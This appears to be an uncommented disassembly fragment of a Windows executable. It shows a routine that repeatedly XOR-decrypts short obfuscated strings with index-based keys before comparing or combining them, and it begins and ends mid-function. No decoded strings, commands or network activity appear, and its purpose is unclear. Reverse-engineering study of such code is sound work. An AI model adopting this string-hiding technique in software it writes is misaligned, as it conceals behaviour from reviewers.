cmp r8d, 0xf
jl 0x140010630
mov rcx, r10
jmp 0x140011806
mov byte [rbp + 0x27], 0
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x27]
call fcn.14002b610
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400106a7
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1b00]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1b00]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1b00]
call fcn.1400b3040
cmp ebx, 5
jne 0x140010c3b
mov byte [rbp + 0x28], 0
lea rdx, [rbp + 0x1098]
lea rcx, [rbp + 0x28]
call fcn.14002bd30
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x140010811
mov r8d, edi
cmp esi, 2
jl 0x1400107cd
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400107e0
mov byte [rbp + 0x29], 0
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x29]
call fcn.14002bb60
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140010941
mov r8d, edi
cmp esi, 2
jl 0x1400108fc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010910
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x2a], 0
lea rdx, [rbp + 0xc08]
lea rcx, [rbp + 0x2a]
call fcn.14002b990
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140010a80
mov r8d, edi
cmp esi, 2
jl 0x140010a47
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010a50
mov byte [rbp + 0x2b], 0
lea rdx, [rbp + 0x10a8]
lea rcx, [rbp + 0x2b]
call fcn.14002b7c0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140010bc0
mov r8d, edi
cmp esi, 2
jl 0x140010b7c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140010b90
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x2c], 0
lea rdx, [rbp + 0x788]
lea rcx, [rbp + 0x2c]
call fcn.14002b720
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140010c22
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x2d], 0
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x2d]
call fcn.14002b690
jmp 0x1400117d5
mov byte [rbp + 0x2e], 0
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x2e]
call fcn.14002bf00
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140010c79
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1b20]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1b20]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1b20]
call fcn.1400b3040
cmp ebx, 5
jne 0x140011329
mov byte [rbp + 0x2f], 0
lea rdx, [rbp + 0xec]
lea rcx, [rbp + 0x2f]
call fcn.14002c890
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x140010cdc
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp + 0x30], 0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x30]
call fcn.14002c6e0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140010e01
cmp esi, 2
jl 0x140010dc0
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x140010e01
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140010dd0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x31], 0
lea rdx, [rbp + 0xc18]
lea rcx, [rbp + 0x31]
call fcn.14002c510
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140010f40
mov r8d, edi
cmp esi, 2
jl 0x140010f07
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010f10
mov byte [rbp + 0x32], 0
lea rdx, [rbp + 0x10b8]
lea rcx, [rbp + 0x32]
call fcn.14002c340
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140011080
mov r8d, edi
cmp esi, 2
jl 0x14001103c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011050
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x33], 0
lea rdx, [rbp + 0x1378]
lea rcx, [rbp + 0x33]
call fcn.14002c150
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400111f1
cmp esi, 2
jl 0x1400111af
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400110d0
jmp 0x1400111f1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400111c0
mov byte [rbp + 0x34], 0
lea rdx, [rbp + 0xc28]
lea rcx, [rbp + 0x34]
call fcn.14002bf80
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140010661
mov r8d, edi
cmp esi, 2
jl 0x1400112dc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400112f0
mov rcx, r10
jmp 0x140011806
mov byte [rbp + 0x35], 0
lea rdx, [rbp + 0x174]
lea rcx, [rbp + 0x35]
call fcn.14002c910
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14001135b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1b40]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1b40]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1b40]
call fcn.1400b3040
cmp ebx, 5
jne 0x140011819
mov byte [rbp + 0x36], 0
lea rdx, [rbp + 0x798]
lea rcx, [rbp + 0x36]
call fcn.14002d010
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x1400113de
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0x37], 0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x37]
call fcn.14002cf90
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140011404
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x38], 0
lea rdx, [rbp + 0xc38]
lea rcx, [rbp + 0x38]
call fcn.14002cdc0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140011540
mov r8d, edi
cmp esi, 2
jl 0x14001150a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140011510
mov byte [rbp + 0x39], 0
lea rdx, [rbp + 0x10c8]
lea rcx, [rbp + 0x39]
call fcn.14002cbf0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140011680
mov r8d, edi
cmp esi, 2
jl 0x14001163c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011650
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x3a], 0
lea rdx, [rbp + 0xc48]
lea rcx, [rbp + 0x3a]
call fcn.14002ca20
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x1400117c1
mov r8d, edi
cmp esi, 2
jl 0x140011784
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140011790
mov byte [rbp + 0x3b], 0
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x3b]
call fcn.14002c990
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140011803
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov byte [rbp + 0x3c], 0
lea rdx, [rbp + 0x184]
lea rcx, [rbp + 0x3c]
call fcn.14002d0b0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14001184f
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1b60]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1b60]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1b60]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140011f49
mov byte [rbp + 0x3d], 0
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x3d]
call fcn.14002d970
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x1400119e1
mov r8d, edi
cmp esi, 2
jl 0x1400119a7
mov rcx, rax
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
